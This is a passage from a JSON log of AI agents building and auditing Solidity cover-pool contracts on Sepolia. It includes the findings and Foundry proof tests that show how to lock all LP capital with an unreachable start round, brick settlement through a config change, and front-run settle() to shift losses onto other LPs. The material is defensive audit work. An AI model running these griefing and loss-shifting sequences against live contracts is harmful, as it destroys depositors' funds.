immediately. A failing Foundry proof is attached.\n2. **Low: settlement is coupled to upstream config fields it never uses.** A benign change to the core's batch limit or round duration makes every `settle` revert forever and locks all reservations, even though the history remains readable. Reproduced with a mocked configuration.\n3. **Info: the vendored-dependency checksum file does not match the tree.** Twenty-three digests fail because the files were reformatted. Diffs against upstream OpenZeppelin v5.1.0 are whitespace-only, so there is no security impact.\n4. **Info: the live core is stalled.** The frontier has sat at round 1973 for at least a day while the wall-clock round is about 2787, so any policy opened at launch cannot settle until the upstream reporter certifies 815 more rounds.\n\n**Coverage.** All 21 listed entry points have a row. Eighteen hold, `redeem` and `deposit` point to finding 1, and `settle` points to finding 2. Three extra rows record the live-core page scan, round numbering alignment, and the reserve invariant.\n\n**What I could not reach.** I could not fetch the Squeekchain documentation (403) or the core implementation source, so round numbering is inferred from live records rather than confirmed from upstream code. The static-analysis leads (reentrancy, strict equality, uninitialized locals) were each traced and found benign on this token and code order.","treeHash":null,"usage":{"cachedInputTokens":1341876,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":44296,"runtime":"claude","turns":47,"wallClockMs":623295}},{"artifacts":[],"attempt":1,"bundleHash":"d871becde911dc4f8f5d93ae0147fb55adb3bb3958be3a2a645a8dd6750d01e7","device":"1a7606be97f168d4","findings":[],"hash":"b847c5550b61dc47ab709a640639384980a705328ea74738eab29e3de0cad5b0","nodeId":"b324abba-b6df-41f6-99ae-35152d62b254","outcome":"completed","summary":"Revision complete. All ten findings are answered in `.imd-responses.json`, the four held proofs now pass, and the full suite (80 tests, including the copied proofs) passes with the pinned fuzz seed. `forge build` and `forge fmt --check` are clean.\n\n**What I reproduced and fixed**\n\n- **Share-supply overflow (high) and repeated-loss inflation (medium).** Both reproduced as panic 0x11. `CoverPool` now bounds `totalShares` at `2^256 - 1 - VIRTUAL_SHARES` and computes mints through a non-panicking mulDiv. A deposit the supply cannot represent reverts with `ShareSupplyExhausted` while any assets remain, and retires the worthless outstanding shares into a closed epoch when assets are exactly zero. Previews can no longer panic, the victim's redemption returns its full deposit, and recapitalization after three total losses succeeds.\n- **Unbounded startRound (high).** Reproduced. `PolicyBook.quote` now rejects starts more than `MAX_LEAD_ROUNDS = 1008` rounds past the wall-clock round with `StartTooFar`.\n- **Exit before settlement at a stale price (medium).** Reproduced. The book tracks open end rounds in a two-level bitmap with an O(1) earliest-end query. The pool refuses deposits and redemptions while a fully certified policy is unsettled, and fails open if the core is unreadable. The reviewer's proof now sees the redeem revert and both LPs share the loss equally after settlement.\n- **Batch-limit pin (medium).** Reproduced. The reader now only requires a positive limit and pages at `min(16, limit)`, so raised or lowered limits never strand settlements.\n- **MockSQK constructor failing in the floor (high).** The cause was the `SepoliaOnly` chain-id guard every constructor inherited, not ownership. The guard is removed. A new test deploys all five contracts from a harness factory on three chain ids with a foreign `tx.origin`.\n- **Checksums and live-frontier note (info).** Digests regenerated to match the tree with the reformatting disclosed. LAUNCH.md gained a live frontier precondition before binding and deposits.\n\n**Two findings answered as disputed, with the exact reason**\n\n- **JIT premium sandwich.** Every suggested mitigation (pending premiums, accrual over the window, a deposit-to-redeem delay) breaks the held proofs for findings 1 and 3, which deposit, open cover, and redeem the premium in the same block. The behavior is now documented in THREATS.md as an accepted limitation.\n- **Surcharge path dependence.** The integrated price would change the single-purchase premium that the held exit-before-settle proof asserts exactly. Documented in README and THREATS.md.\n\n**Open items the reviewer should know about**\n\n- The early-certainty variant of the exit finding (outcome fixed before the whole window certifies) is not closed. It would require history reads inside LP operations or early settlement, which changes the agreed settlement rule. It is recorded as a known limitation.\n- A dust residual after near-total losses can block large deposits until holders redeem it. No funds are at risk. Also documented.\n\nFiles changed: `src/CoverPool.sol`, `src/PolicyBook.sol`, `src/CoreReader.sol`, `src/Managed.sol`, new `src/OpenEndRounds.sol`, removed `src/SepoliaOnly.sol`, three test files plus two helpers, the four documents and the checksum file. No `launch.json` or blocked file was written.","treeHash":"511ef3a92f8af15b5035dc5d800547f1e51c1cbe","usage":{"cachedInputTokens":4567759,"inputTokens":770,"model":"claude-fable-5-1","outputTokens":131237,"runtime":"claude","turns":95,"wallClockMs":1753542}},{"artifacts":[],"attempt":1,"bundleHash":"08c98cbbf43eade64e7c45f7fa2c64e1f7db1ea0adbf0c3474a43c56c5fc5809","device":"fe36973c683b5abb","findings":[],"hash":"c1e6d57a6a708cfc832f48e2b0e0d3fa08b35413b394aae0defbfe2a20876666","nodeId":"b324abba-b6df-41f6-99ae-35152d62b254","outcome":"completed","summary":"Implemented all five Sepolia cover contracts, vendored dependencies, tests, README, THREATS, LAUNCH guide, and manifest.\n\nVerified:\n- `forge build`\n- Seeded `forge test`: **64 passed**\n- `forge fmt --check`\n\nBefore use, the owner must bind PolicyBook, configure premium rates, and fund LP liquidity. No transactions were broadcast.","treeHash":"553b855f4e6ee8db4454b79dbb41859549a1ccdf","usage":{"cachedInputTokens":1502976,"inputTokens":69363,"model":"gpt-6-astra","outputTokens":49467,"runtime":"codex","turns":8,"wallClockMs":1123990}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"a11137177fc72d8b","findings":[{"citation":"resolved","description":"quote()/openPolicy() only enforce a lower bound on startRound (above the certified frontier and the clock round). There is no upper bound and no cancellation path, and lockCover() reserves the full cover until settle() succeeds, which needs frontier >= endRound. Any unprivileged buyer can therefore pick a start round the Core cannot reach for millennia (startRound = 1e12 is about 19,000 years of 600-second rounds; type(uint64).max - 200 also passes CoverTerms.endRound) and set cover = freeAssets(). The whole pool becomes reserved forever: LPs can redeem only their share of the premium, settle() reverts UnknownRounds for all time, and the capital is never paid out or released. The attacker loses the premium (with the test rate table 15% of the locked amount) and the LPs lose 85% permanently; this is a griefing attack, not a profit one, but it is permanent and needs no privilege. THREATS.md acknowledges the unbounded horizon as a limitation; the delivered tests never open a policy beyond start 1001. A minimal fix that preserves the agreed design is a maximum lead, e.g. revert when startRound > currentRound + MAX_LEAD_ROUNDS (say 144 rounds, one day) in quote(); the exact horizon is a product decision for the owner.","line":105,"path":"src/PolicyBook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\n/// @dev Minimal V3 core: frontier fixed at 100, no active records (every certified round is zero work).\ncontract MiniCore is ISqueekCore {\n    uint64 public genesis;\n    uint64 public frontier = 100;\n\n    constructor(uint64 genesis_) {\n        genesis = genesis_;\n    }\n\n    function setFrontier(uint64 f) external {\n        frontier = f;\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external view returns (CoreConfiguration memory c) {\n        c.genesisTimestamp = genesis;\n        c.roundDuration = 600;\n        c.maxRoundsPerBatch = 16;\n    }\n\n    function state() external view returns (CoreState memory s) {\n        s.settledThroughRound = frontier;\n        s.workPerThousandBlocks = 10_875;\n    }\n\n    function roundPage(uint64 afterRound, uint64 throughRound, uint256) external view returns (RoundPage memory p) {\n        require(afterRound <= throughRound && throughRound <= frontier, \"bounds\");\n        p.certifiedThroughRound = throughRound;\n        p.start.workPerThousandBlocks = 10_875;\n        p.end.workPerThousandBlocks = 10_875;\n        p.rounds = new RoundCheckpoint[](0);\n    }\n}\n\ncontract FarFutureLockTest is Test {\n    uint64 internal constant GENESIS = 1_700_000_000;\n    address owner = makeAddr(\"owner\");\n    address lp = makeAddr(\"lp\");\n    address griefer = makeAddr(\"griefer\");\n    MockSQK token;\n    PremiumModel model;\n    CoverPool pool;\n    CoreReader reader;\n    PolicyBook book;\n    MiniCore core;\n\n    function setUp() public {\n        vm.chainId(11_155_111);\n        vm.warp(GENESIS + 100 * 600); // current round 101, frontier 100\n        core = new MiniCore(GENESIS);\n        token = new MockSQK(owner);\n        model = new PremiumModel(owner);\n        pool = new CoverPool(owner, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(owner, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(owner);\n        pool.setPolicyBook(address(book));\n        model.setRate(6, 3000, 500, 1000);\n        token.mint(lp, 1000 ether);\n        token.mint(griefer, 1000 ether);\n        vm.stopPrank();\n        vm.startPrank(lp);\n        token.approve(address(pool), 1000 ether);\n        pool.deposit(1000 ether, 1);\n        vm.stopPrank();\n    }\n\n    /// Expected: a start round the Core can never certify in any realistic horizon is rejected.\n    /// Actual: the policy opens, reserves the whole pool forever, and the LP can never redeem it.\n    function test_farFutureStartRoundCannotPermanentlyReserveLpCapital() public {\n        uint64 farFuture = 1_000_000_000_000; // ~19,000 years of 600-second rounds\n        // Price taken from the model directly so this test does not depend on where the horizon check lands.\n        (uint256 premium,) = model.quote(6, 3000, 1000 ether, pool.totalAssets(), pool.reserved());\n        assertEq(premium, 150 ether); // 5% base + 10% full-utilization surcharge\n\n        vm.startPrank(griefer);\n        token.approve(address(book), premium);\n        vm.expectRevert(); // should refuse an unbounded horizon\n        book.openPolicy(farFuture, 6, 3000, 1000 ether, premium, block.timestamp);\n        vm.stopPrank();\n\n        // With the open refused, the LP keeps full control of their capital.\n        uint256 shares = pool.sharesOf(lp);\n        vm.prank(lp);\n        pool.redeem(shares, 1);\n        assertEq(pool.reserved(), 0);\n    }\n}","reproduction":"Fixture: chainId 11155111, Core genesis 1_700_000_000, frontier 100, block.timestamp = genesis + 100*600 (current round 101), rate(6,3000) = base 500 bps + slope 1000 bps, LP deposits 1000 ether. Griefer calls book.quote(1_000_000_000_000, 6, 3000, 1000 ether) -> premium 150 ether; approves and calls book.openPolicy(1_000_000_000_000, 6, 3000, 1000 ether, 150 ether, block.timestamp). Expected: revert because the horizon is unreachable. Actual: policy 1 opens; pool.reserved() = 1000 ether, pool.freeAssets() = 150 ether. LP pool.redeem(allShares, 1) reverts InsufficientFreeAssets; the most the LP can ever redeem is about 75 ether per 500 ether deposited. After vm.warp(+3650 days), book.settle(1) reverts UnknownRounds(1_000_000_000_005, 100). Proof test: test/scratch/FarFutureLock.t.sol fails with 'next call did not revert as expected'.","severity":"medium","snippet":"        if (startRound <= frontier || startRound <= currentRound) {\n            revert StartNotFuture(startRound, frontier, currentRound);\n        }","title":"openPolicy accepts any future startRound, so one buyer can reserve the whole pool for a window the Core will never certify and lock LP capital permanently"},{"citation":"resolved","description":"countZeroRounds() calls snapshot() before reading any page, and snapshot() reverts InvalidConfiguration on strict equality config.maxRoundsPerBatch != PAGE_SIZE and UnsupportedCoreVersion when implementationCodeVersion() != 3 (src/CoreReader.sol:120). The reader itself always requests exactly 16 records, so a Core whose batch limit is raised above 16 still serves every page identically; the check is over-restrictive (Asymmetry step 6: a defensive check stricter than what the code relies on). SqueekCore is an upgradeable proxy run by another party (THREATS.md trust table), and the application has no owner path, migration or refund by design, so once governance changes that parameter, every settle() reverts permanently: reservations stay locked, holders with a certified triggered window are never paid, and LPs can never redeem the reserved part. Blocking new quotes on an unexpected configuration is sensible; blocking settlement of already certified history is a permanent loss trigger controlled by an external actor. Minimal fix preserving the design: in snapshot() require maxRoundsPerBatch >= PAGE_SIZE (the page validation in countZeroRounds already rejects over-long or under-filled pages), and consider applying the version/round-duration pins only on the quote path while settle relies on the structural page checks. The existing tests (test/CoreReader.t.sol) only assert that the revert happens; none asserts that a certified policy still settles after a compatible change.","line":36,"path":"src/CoreReader.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\n/// @dev Minimal V3 core with a governance-adjustable batch limit. It keeps honouring the caller's\n/// `maxRecords`, so a page request for 16 records is served exactly as before the change.\ncontract MiniCore is ISqueekCore {\n    uint64 public genesis;\n    uint64 public frontier = 100;\n    uint16 public maxRoundsPerBatch = 16;\n\n    constructor(uint64 genesis_) {\n        genesis = genesis_;\n    }\n\n    function setFrontier(uint64 f) external {\n        frontier = f;\n    }\n\n    function setMaxRoundsPerBatch(uint16 v) external {\n        maxRoundsPerBatch = v;\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external view returns (CoreConfiguration memory c) {\n        c.genesisTimestamp = genesis;\n        c.roundDuration = 600;\n        c.maxRoundsPerBatch = maxRoundsPerBatch;\n    }\n\n    function state() external view returns (CoreState memory s) {\n        s.settledThroughRound = frontier;\n        s.workPerThousandBlocks = 10_875;\n    }\n\n    function roundPage(uint64 afterRound, uint64 throughRound, uint256 maxRecords)\n        external\n        view\n        returns (RoundPage memory p)\n    {\n        require(afterRound <= throughRound && throughRound <= frontier && maxRecords <= maxRoundsPerBatch, \"bounds\");\n        p.certifiedThroughRound = throughRound;\n        p.start.workPerThousandBlocks = 10_875;\n        p.end.workPerThousandBlocks = 10_875;\n        p.rounds = new RoundCheckpoint[](0); // no active records: every round is zero work\n    }\n}\n\ncontract ConfigPinBricksSettleTest is Test {\n    uint64 internal constant GENESIS = 1_700_000_000;\n    uint64 internal constant START = 102;\n    address owner = makeAddr(\"owner\");\n    address lp = makeAddr(\"lp\");\n    address alice = makeAddr(\"alice\");\n    MockSQK token;\n    PremiumModel model;\n    CoverPool pool;\n    CoreReader reader;\n    PolicyBook book;\n    MiniCore core;\n\n    function setUp() public {\n        vm.chainId(11_155_111);\n        vm.warp(GENESIS + 100 * 600);\n        core = new MiniCore(GENESIS);\n        token = new MockSQK(owner);\n        model = new PremiumModel(owner);\n        pool = new CoverPool(owner, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(owner, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(owner);\n        pool.setPolicyBook(address(book));\n        model.setRate(6, 5000, 500, 1000);\n        token.mint(lp, 1000 ether);\n        token.mint(alice, 1000 ether);\n        vm.stopPrank();\n        vm.startPrank(lp);\n        token.approve(address(pool), 1000 ether);\n        pool.deposit(1000 ether, 1);\n        vm.stopPrank();\n    }\n\n    /// Expected: a certified, fully readable six-round window settles and pays the holder.\n    /// Actual: once the Core's batch limit is raised from 16 to 32, every settle reverts with\n    /// InvalidConfiguration forever, so the 100 ether reservation can never be paid or released.\n    function test_settleSurvivesCompatibleCoreBatchLimitIncrease() public {\n        (uint256 premium,) = book.quote(START, 6, 5000, 100 ether);\n        vm.startPrank(alice);\n        token.approve(address(book), premium);\n        uint256 id = book.openPolicy(START, 6, 5000, 100 ether, premium, block.timestamp);\n        vm.stopPrank();\n\n        core.setFrontier(START + 5);\n        vm.warp(uint256(GENESIS) + uint256(START + 5) * 600);\n        core.setMaxRoundsPerBatch(32); // governance raises the limit; 16-record requests still work\n\n        uint256 before = token.balanceOf(alice);\n        uint256 payout = book.settle(id);\n        assertEq(payout, 100 ether);\n        assertEq(token.balanceOf(alice), before + 100 ether);\n        assertEq(pool.reserved(), 0);\n    }\n}","reproduction":"Fixture as in finding 1 with rate(6,5000) = 500/1000 bps. Alice opens policy 1: startRound 102, 6 rounds, cover 100 ether, premium 6 ether. Core certifies through 107 with no active records (six zero-work rounds, trigger met). Core configuration().maxRoundsPerBatch is changed from 16 to 32 while roundPage(cursor, 107, 16) keeps returning the same page. Call book.settle(1). Expected: payout 100 ether to Alice, reserved -> 0. Actual: revert InvalidConfiguration() from CoreReader.snapshot via countZeroRounds, on every future call; pool.reserved() stays 100 ether forever. Same outcome with implementationCodeVersion() returning 4 (UnsupportedCoreVersion). Proof test: test/scratch/ConfigPinBricksSettle.t.sol fails with InvalidConfiguration().","severity":"medium","snippet":"        if (\n            config.genesisTimestamp == 0 || config.roundDuration != ROUND_DURATION\n                || config.maxRoundsPerBatch != PAGE_SIZE\n        ) revert InvalidConfiguration();","title":"CoreReader.snapshot() pins maxRoundsPerBatch == 16 (and version == 3) on the settlement path, so a compatible Core governance change bricks every open policy forever"},{"citation":"resolved","description":"Economics x asymmetry seam. Once the Core frontier reaches a policy's endRound, the payout is fully determined by public certified data, but the pool only recognises the loss when someone calls the permissionless settle(). Between those two moments previewRedeem() still prices shares at totalAssets including the doomed reservation, and redeem() lets any LP take their full pro-rata value out of freeAssets(). The LP that moves first (or front-runs the settle transaction in the same block) leaves with no loss; the LPs that remain absorb the entire payout. Deposit and redeem therefore use different information sets than settle, a lock/unlock asymmetry in the pool's own accounting. THREATS.md states that share prices do not discount unresolved claims, so this is a documented limitation of the requested instant-redeem design; it is reported so the judge can weigh it. A design-preserving mitigation is a short redemption delay or letting redeem() first settle any policy whose endRound <= frontier (bounded, since the pool knows reserved ids), which is a scope decision for the owner.","line":119,"path":"src/CoverPool.sol","reproduction":"Fixture: rate(6,3000) = 500/1000 bps; LP1 and LP2 deposit 500 ether each. Alice opens policy 1: start 102, 6 rounds, cover 400 ether, premium 36 ether. Core certifies through 107 with no active records (trigger met). Before anyone calls settle, LP1 calls pool.redeem(allShares, 1) -> receives 517.999... ether (its 500 plus half the premium). Then book.settle(1) pays Alice 400 ether. LP2's previewRedeem(allShares) is now 118.000... ether: LP2 bears the full 400 ether loss while LP1 bore none. Expected under a symmetric accounting: each LP ends with about 318 ether.","severity":"low","snippet":"        assets = previewRedeem(shares);\n        if (assets == 0 || assets < minAssets) revert Slippage();\n        if (assets > freeAssets()) revert InsufficientFreeAssets();","title":"redeem() values shares without the already-determined claims of certified windows, so an LP can exit ahead of settle() and shift the whole loss onto remaining LPs"},{"citation":"resolved","description":"Access x economics seam, recorded as a privileged-power note rather than a bypass: the guard is correct and the role is requested. setPolicyBook() accepts any contract whose token() and pool() return the expected addresses. The bound address is then the only caller allowed into lockCover()/resolveCover(), which together move any amount up to freeAssets() to an arbitrary beneficiary. THREATS.md already says LPs must verify the bound book before depositing, and the binding is one-time and irreversible, so after a correct binding the owner has no remaining path to LP funds. The residual risk is purely the window between deployment and binding, and it is the owner's own trust assumption. No code change is required by the brief; if desired, LAUNCH.md could instruct the independent reviewer to confirm policyBook() equals the attested PolicyBook address before any LP deposit.","line":74,"path":"src/CoverPool.sol","reproduction":"Owner deploys FakeBook(token, pool) exposing token()/pool() getters and calls pool.setPolicyBook(fake) (passes: code present, both getters match). LP deposits 100 ether. FakeBook, holding 1 wei of token with allowance to the pool, calls pool.lockCover(1, owner, 100 ether, 1) then pool.resolveCover(1, true). Owner receives 100 ether; LP's previewRedeem(allShares) is 1 wei. With the genuine PolicyBook bound, the same sequence is impossible because lockCover/resolveCover are reachable only through openPolicy/settle.","severity":"info","snippet":"        if (\n            IPolicyBookWiring(book).token() != address(token)\n                || IPolicyBookWiring(book).pool() != address(this)\n        ) {","title":"Trust assumption: the one-time setPolicyBook binding only checks two getters, so the owner can bind a contract that drains every later LP deposit"}],"hash":"cff8bc088b9cecac6027ed4fa49baaff50ef02a8025f0ed5a202509528e7b314","nodeId":"b943eb87-36a3-4a61-8171-02cce4339093","outcome":"completed","summary":"Review complete. The findings file is in place and the working tree is back to its original state (only the findings file and my scratch tests exist outside the commit).\n\n**Outcome**\n\nThe permission model itself is sound. Every owner function is guarded, every pool mutation is reachable only through the one-time bound book, ownership is two-step with renunciation disabled, and constructors take an explicit owner rather than the factory. I found no permission bypass. The defects I substantiated live at the seams the Trust Gap and Asymmetry guides describe:\n\n- **Medium, PolicyBook.openPolicy.** The start round has a lower bound but no upper bound. Any buyer can reserve the whole pool for a window the Core will never certify, locking LP capital forever at the cost of one premium. With the test rate table that is 150 ether to lock 1000 ether permanently. Proof test fails now and passes with a maximum-lead check.\n- **Medium, CoreReader.snapshot.** The settlement path reverts on strict equality of the Core's batch limit and version. The reader always requests 16 records, so a compatible governance change (limit raised to 32, or version 4) bricks every open policy forever. Proof test fails now and passes with a `>=` check.\n- **Low, CoverPool.redeem.** Shares are priced without claims that certified history has already determined, so the first LP to exit before settle shifts the whole loss onto those remaining. Concrete numbers given; documented in THREATS.md as a known limitation.\n- **Info, CoverPool.setPolicyBook.** The binding check only confirms two getters, so the owner could bind a draining contract before any deposit. Recorded as the trust assumption it is, not a bypass.\n\n**Coverage**\n\nAll 21 listed entry points have a row, plus four invariant rows (custody, explicit owners, manifest shape, static-analysis leads). Both proof tests live under `test/scratch/` and were run on the current code and on temporarily patched sources, with the sources restored by git afterwards.\n\n**Not reached in depth**\n\nRound-numbering alignment with the live Core (whether its round index runs one ahead of the reader's clock formula) could only be checked against the recorded snapshot, which is inconclusive; the check is conservative in every reading I could construct, so I did not report it.","treeHash":null,"usage":{"cachedInputTokens":2277713,"inputTokens":674,"model":"claude-fable-5-1","outputTokens":54814,"runtime":"claude","turns":47,"wallClockMs":822503}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ddfb1efa72fe9a94","findings":[{"citation":"resolved","description":"quote()/openPolicy() only enforce the lower bounds startRound > frontier and startRound > currentRound. There is no upper bound relative to currentRound, and PremiumModel.quote prices cover purely as cover * (baseBps + utilization surcharge) / 10000, with no dependence on how far away the window is. CoverTerms.endRound only rejects end > uint64 max. A buyer can therefore open a policy whose window starts at round 2^64-144 (about 3.5e14 years at 600 s/round). lockCover reserves the full cover amount, redeem() is capped by freeAssets(), and settle() reverts with UnknownRounds until frontier >= endRound, which never happens. There is no cancel or timeout by design, so the reservation is permanent. The cost to the attacker is the premium only (baseBps + slopeBps at most, 15% in the fixture rates), while LPs permanently lose access to up to 100% of the pool's free assets (cover may equal freeAssets, utilization 100% is allowed). THREATS.md acknowledges distant start rounds as a limitation, but the asymmetry (flat premium, unbounded lock) makes this a cheap permanent-lock griefing path rather than a priced risk. Minimal fix preserving the agreed semantics: reject startRound greater than currentRound + MAX_LEAD_ROUNDS (e.g. 144 rounds, one day), checked in quote() alongside the existing lower bounds. This changes neither payout rules nor the no-timeout settlement rule.","line":105,"path":"src/PolicyBook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\n/// @dev Minimal V3-shaped core: frontier 100, no active records, current round 101.\ncontract StubCore is ISqueekCore {\n    uint64 public immutable genesis;\n    uint64 public frontier = 100;\n\n    constructor(uint64 genesis_) {\n        genesis = genesis_;\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external view returns (CoreConfiguration memory c) {\n        c.genesisTimestamp = genesis;\n        c.roundDuration = 600;\n        c.maxRoundsPerBatch = 16;\n        c.initialWorkPerThousandBlocks = 10_875;\n    }\n\n    function state() external view returns (CoreState memory s) {\n        s.settledThroughRound = frontier;\n        s.workPerThousandBlocks = 10_875;\n    }\n\n    function roundPage(uint64, uint64 throughRound, uint256) external pure returns (RoundPage memory p) {\n        p.certifiedThroughRound = throughRound;\n        p.start = LedgerPosition(0, 0, 10_875);\n        p.end = p.start;\n        p.rounds = new RoundCheckpoint[](0);\n    }\n}\n\n/// @notice openPolicy accepts a start round that the core can never certify, so the whole free\n/// liquidity of the pool is reserved forever for one flat premium. A start-round lead cap makes\n/// this call revert and the test pass.\ncontract FarFutureLockTest is Test {\n    uint64 internal constant GENESIS = 1_700_000_000;\n    address internal owner = makeAddr(\"owner\");\n    address internal lp = makeAddr(\"lp\");\n    address internal attacker = makeAddr(\"attacker\");\n    MockSQK internal token;\n    PremiumModel internal model;\n    CoverPool internal pool;\n    CoreReader internal reader;\n    PolicyBook internal book;\n\n    function setUp() public {\n        vm.chainId(11_155_111);\n        vm.warp(GENESIS + 100 * 600);\n        StubCore core = new StubCore(GENESIS);\n        token = new MockSQK(owner);\n        model = new PremiumModel(owner);\n        pool = new CoverPool(owner, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(owner, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(owner);\n        pool.setPolicyBook(address(book));\n        model.setRate(144, 3000, 500, 1000);\n        token.mint(lp, 1000 ether);\n        token.mint(attacker, 1000 ether);\n        vm.stopPrank();\n        vm.startPrank(lp);\n        token.approve(address(pool), 1000 ether);\n        pool.deposit(1000 ether, 1);\n        vm.stopPrank();\n    }\n\n    function test_startRoundBeyondAnyReachableRoundIsRejected() public {\n        // Current round is 101 and the frontier is 100. This window ends at round 2^64-1,\n        // which at 600 s per round is ~3.5e14 years away: the reservation can never be released.\n        uint64 start = type(uint64).max - 143;\n        vm.startPrank(attacker);\n        token.approve(address(book), type(uint256).max);\n        vm.expectRevert();\n        book.openPolicy(start, 144, 3000, 1000 ether, type(uint256).max, block.timestamp);\n        vm.stopPrank();\n    }\n}","reproduction":"Fixture: Sepolia chain id, core genesis G, block.timestamp = G + 100*600 (current round 101), core settledThroughRound = 100, rate(144,3000) = base 500 bps / slope 1000 bps, LP deposits 1000e18. Attacker calls quote(type(uint64).max - 143, 144, 3000, 1000e18): utilization = 1000/1000 so rateBps = 500 + 1000 = 1500 and premium = 150e18. Attacker approves and calls openPolicy(type(uint64).max - 143, 144, 3000, 1000e18, 150e18, block.timestamp). Expected: revert, since the window can never be certified. Actual: succeeds; pool.reserved() = 1000e18, pool.freeAssets() = 150e18 (only the premium). LP redeem(allShares, 1) reverts InsufficientFreeAssets; after warping 3650 days settle(id) still reverts UnknownRounds(2^64-1, 100). The LP's 1000e18 is locked permanently for an attacker outlay of 150e18. Verified with test/scratch/FarFutureLock.t.sol (fails on current code: 'next call did not revert as expected') and a second demo asserting the locked state.","severity":"high","snippet":"        if (startRound <= frontier || startRound <= currentRound) {","title":"openPolicy has no upper bound on startRound: one flat premium reserves LP capital for a window the core can never certify"},{"citation":"resolved","description":"previewRedeem values every share against _assets, which includes the reserved cover of open policies. Settlement is only possible once frontier >= endRound, but the outcome of a policy is frequently determined earlier: once the certified part of the window already contains ceil(N*T) zero-work rounds, triggered() is guaranteed. In that state (and also by front-running a permissionless settle() in the mempool) an LP can redeem up to freeAssets() at the pre-loss share price. The payout is then funded entirely from the capital of the LPs who stayed. The invariant that losses are shared pro rata across LP shares (precision x invariant seam: NAV uses a value the contract already knows will be removed) does not hold. Because the attacker needs no capital beyond their own LP position and the trigger state is public on-chain, this is a reliable transfer of value between LPs. THREATS.md notes that share prices do not discount unresolved claims; the concrete harm is that one LP can take 100% of free assets while the co-LP ends with zero. Mitigation options that preserve the payout design: value shares against (_assets - reserved) plus a haircut, or block redemptions while any open policy's certified zero-round count already meets its threshold (reader.countZeroRounds variant that counts the certified prefix), or add a withdrawal delay longer than the maximum settlement latency.","line":97,"path":"src/CoverPool.sol","reproduction":"Fixture as above with rate(6,3000) = 500/1000 bps. lp deposits 500e18, bob deposits 500e18 (totalAssets 1000e18). alice opens policy (startRound 102, N=6, T=3000, cover 800e18): utilization 800/1000 -> rateBps 1300, premium 104e18; totalAssets 1104e18, reserved 800e18, free 304e18. Core certifies rounds 102 and 103 with no records (frontier 103): 2 zero rounds already satisfy 2*10000 >= 6*3000, so the payout is certain, but settle(id) reverts UnknownRounds(107,103). lp's shares are worth previewRedeem = 551999999999999999999; lp calls redeem(275362318840579710145859273 shares, 1) and receives exactly 304e18 (all free assets). Core certifies through 107; anyone calls settle(id): payout 800e18, totalAssets becomes 0. Expected (pro rata): each LP ends with (1104 - 800)/2 = 152e18. Actual: lp holds 304e18 cash plus worthless shares, bob's previewRedeem(sharesOf(bob)) = 0. bob lost 152e18 more than his share and lp gained it. Demonstrated in test/scratch/Demo.t.sol::test_knownOutcomeExit (logs above).","severity":"medium","snippet":"        return Math.mulDiv(shares, _assets + 1, totalShares + VIRTUAL_SHARES);","title":"Share price counts reserved cover at face value, so an LP can exit at full NAV once a payout is already certain and push the whole loss onto remaining LPs"},{"citation":"resolved","description":"countZeroRounds() calls snapshot() first, and snapshot() reverts InvalidConfiguration unless configuration().maxRoundsPerBatch is exactly PAGE_SIZE (16) and roundDuration is exactly 600, and reverts UnsupportedCoreVersion unless implementationCodeVersion() == 3. The SqueekCore address is an upgradeable proxy exposing a code version, and maxRoundsPerBatch is a configuration value next to guardian/reporter addresses, so these can change. The strict equality on maxRoundsPerBatch is over-tight: a core that allows 32 records per page still serves the 16-record pages the reader requests, yet the reader refuses it. After such a change every settle() reverts, including for windows that are fully certified, there is no owner path to retire a policy or change the reader (immutable in PolicyBook), so reserved cover is locked permanently and LPs cannot redeem it. THREATS.md records 'existing policies can become unresolvable' as a trust assumption; the defect is that a benign, larger page limit is treated as fatal. Minimal fix: require config.maxRoundsPerBatch >= PAGE_SIZE (and keep rejecting smaller limits), and consider restricting the roundDuration/version equality checks to quote() (new business) while settle() for an already-opened window only needs page validation, since countZeroRounds already validates every page structurally. Static-analysis lead 'incorrect-equality at CoreReader.sol:28' corresponds to this.","line":36,"path":"src/CoreReader.sol","reproduction":"Fixture as above. alice opens policy (startRound 102, N=6, T=3000, cover 100e18). Core certifies through round 107 with no records, so the window is fully known with 6 zero rounds. Now core.configuration() returns maxRoundsPerBatch = 32 (everything else unchanged). Expected: settle(id) pays 100e18. Actual: settle(id) reverts CoreReader.InvalidConfiguration; pool.reserved() stays 100e18 and no call can release it. With maxRoundsPerBatch back at 16 but implementationCodeVersion() == 4, settle(id) reverts UnsupportedCoreVersion with the same effect. Demonstrated in 